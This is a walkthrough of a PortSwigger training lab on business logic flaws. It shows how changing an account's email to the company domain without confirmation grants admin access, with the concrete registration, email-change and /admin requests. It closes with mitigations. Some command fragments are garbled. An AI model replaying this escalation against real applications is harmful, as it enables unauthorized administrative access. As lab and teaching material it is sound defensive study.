Necessary Background Concepts To Solve The Lab
Business Logic Flaws
What a business logic flaw is
A is the application’s own flow, used so the outcome hurts the business. The requests are ordinary and the feature exists without anything crashing, because the mistake is the order of the steps, a step that never runs, or two features that were not meant to combine.
Broken authentication, a missing access check, and skipped input validation are a different kind of bug. Those are controls that fail. Here the process itself accepts the action, and the result is still wrong for the organization.
The OWASP test is whether the bug only shows up once the business is understood. Without that process, the same requests look legitimate. A scanner usually misses them for the same reason.
What counts
Each case is an action that should have been impossible once another step in the process had run, or failed to run:
- A coupon applies a second time on an order that already used it
- A refund is paid for an order that was never charged
- An item stays reserved after the buyer leaves without paying
Why the impact can be high
The flawed step can be the whole incident, because the process already moves money, stock, or a permission, and finishing it wrong is enough. But the same bug can also enable a chain by writing or modifying data that a second feature trusts from persisted data but otherwise would have been validated and rejected in the intended input/endpoint.
Knowledge Check
Writeup
PortSwigger's original description
This lab's flawed logic allows arbitrary users to access administrative functionality that should only be available to company employees. To solve the lab, access the admin panel and delete the user `carlos`.
What the lab contains
The application is a small shop (most features irrelevant for solving it).
The header links Home, My account, and Register. Once an account exists, “My account” shows the current email and a html form to update to a new one.
The lab banner has an Email client button. That opens a PortSwigger exploit server emulating our mail inbox.
The page prints the address, something like: attacker@exploit-<exploit-id>.exploit-server.net
And it lists mail sent to that address.
A message for any other email address never appears here.
The /admin endpoint is discoverable by fuzzing but we won’t approach fuzzing on this article.
The admin response names the company
- "https://<lab-url>.web-security-academy.net/admin" /admin HTTP/1.1
: <lab-url>.web-security-academy.netCommand breakdown:
-s= silent mode (no progress meter)
-D -= dump response headers to stdout, ahead of the body
The status is 401. The body states the rule in one sentence:
Admin interface only available if logged in as a DontWannaCry userA DontWannaCry user, in this application, is an account whose email sits at dontwannacry.com. That domain is the company.
We can also find the domain (dontwannacry.com) in the response of the GET /register endpoint
A company address cannot finish registration
Registering anything@dontwannacry.com in POST /register directly doesn’t work.
Signup does ask for proof: it answers with a request to open the confirmation link. That link is mailed to the address we just submitted, obviously we only have access to our email address.
Register an address the email client can open
Register with the address we own:
- "https://<lab-url>.web-security-academy.net/register" \
"csrf=Qdr1ebf5VXprJR8top36kvP0dE0JyFdj&username=attacker&email=attacker@exploit-<exploit-id>.exploit-server.net&password=peter" /register HTTP/1.1
: <lab-url>.web-security-academy.net
: application/x-www-form-urlencoded
: 125
csrf=Qdr1ebf5VXprJR8top36kvP0dE0JyFdj&username=attacker&email=attacker@exploit-<exploit-id>.exploit-server.net&password=peterCommand breakdown:
email=attacker@exploit-<exploit-id>.exploit-server.net= the email address provided in the exploit lab section
username=attacker/password=peter= the account we will log in with after confirmation
Signup again asks us to open a confirmation link. Let’s check the emails received:
From: no-reply@<lab-url>.web-security-academy.net
To: attacker@exploit-<exploit-id>.exploit-server.net
Subject: Account registration
Hello! Please follow the link below to confirm your email and complete registration.
https://<lab-url>.web-security-academy.net/register?temp-registration-token=yFI6mFlM2loqxAvhNxyahJUFDmT0P4qA
Thanks, Support teamOpen the token URL from that message:
"https://<lab-url>.web-security-academy.net/register?temp-registration-token=yFI6mFlM2loqxAvhNxyahJUFDmT0P4qA" /register?temp-registration-token=yFI6mFlM2loqxAvhNxyahJUFDmT0P4qA HTTP/1.1
: <lab-url>.web-security-academy.net<p>Account registration successful!</p>A normal login stays outside the panel
After that link, we can log in as attacker. The session is valid, and the stored email is the exploit-server address we just confirmed. GET /admin still returns 401 with the same DontWannaCry sentence. The account page shows that email, a form that posts to /my-account/change-email, and a header with no Admin panel link. The check wants a company domain on the account. Login alone never supplies one.
The update form skips confirmation
Registration stored the address only after the token link was opened. The account form has two inputs, email and csrf, and it posts them with no second link. The confirmed address, next to the company domain we submit:
The request we send:
- "https://<lab-url>.web-security-academy.net/my-account/change-email" \
"session=VXIPO7F2dFEm71lehFamANxPaZBuNWil" \
"email=attacker@dontwannacry.com&csrf=LBFkV68EOwPGD35KMgEn91tQMufDrLCw" /my-account/change-email HTTP/1.1
: <lab-url>.web-security-academy.net
: session=VXIPO7F2dFEm71lehFamANxPaZBuNWil
: application/x-www-form-urlencoded
: 69
email=attacker@dontwannacry.com&csrf=LBFkV68EOwPGD35KMgEn91tQMufDrLCwCommand breakdown:
-b= the session from login, unchanged by this post
-d=csrfis the hidden field from the account form
attacker@dontwannacry.com= any local part works. The panel later looks at the domain
HTTP/2 302
: /my-account?id=attackerThe email client receives no second message. The account page has already replaced the address, and the header now links the admin panel. GET /admin lists the users, wiener, carlos, and attacker. Delete carlos by sending the session to /admin/delete?username=carlos. The lab banner switches to Solved.
This is a flaw that escalates to : /register had shown we could read only the exploit-server mailbox, and /my-account/change-email then stored a company address with no confirmation, allowing us to , granting access to /admin.
Why do I like this lab
The split is realistic. Signup and “edit my account” are often built apart, sometimes by different people, and the second form is a generic profile save.
Some internal tools really do treat @company.com as a privileged/employee user.
Just as a curiosity, the same can be obtained if there was a bug on a profile update allowing us to change the email the same way.
Mitigation
- Confirm the new address before it grants a role. When a role depends on a verified company mailbox, the email-change handler should send its own confirmation link and keep the previous address, along with the previous role, until that link is opened
- Store the role separately from the email string. Set an employee flag when a company address is confirmed. The protected endpoints should read that flag
- Use the same proof on every write path. Registration and the profile update both change the email, so both should require confirmation